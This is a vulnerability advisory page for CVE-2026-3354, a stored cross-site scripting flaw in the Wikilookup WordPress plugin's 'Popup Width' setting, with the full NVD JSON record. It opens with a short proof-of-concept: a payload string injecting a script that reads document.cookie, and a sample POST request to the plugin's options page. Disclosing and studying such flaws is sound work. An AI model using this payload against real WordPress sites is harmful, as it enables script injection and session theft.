CVE-2026-3354

// PoC Concept for CVE-2026-3354 // Payload to be injected into the 'Popup Width' setting // This script executes when the settings page is viewed by another user const payload = '500"><script>alert(document.cookie);</script><input type="hidden" value="'; /* * Simulated HTTP Request: * Attacker sends POST request to update plugin settings. * Requires Administrator session cookie. * POST /wp-admin/options.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded option_page=wikilookup_options&action=update&_wpnonce=...&wikilookup_popup_width=500"><script>alert(1)</script> */

{"cve": {"id": "CVE-2026-3354", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:22.127", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Wikilookup plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Popup Width' setting in all versions up to, and including, 1.1.5. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin Wikilookup para WordPress es vulnerable a cross-site scripting almacenado a través de la configuración 'Popup Width' en todas las versiones hasta la 1.1.5, inclusive. Esto se debe a una sanitización de entrada insuficiente y un escape de salida deficiente. Esto permite que atacantes autenticados, con acceso de nivel de Administrador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a instalaciones multisitio y a instalaciones donde unfiltered_html ha sido deshabilitado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wikilookup/tags/1.1.5/views/admin_wikilookup_display.php#L26", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wikilookup/trunk/views/admin_wikilookup_display.php#L26", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d7526228-4e21-430c-90ad-1476c81698ad?source=cve", "source": "[email protected]"}]}}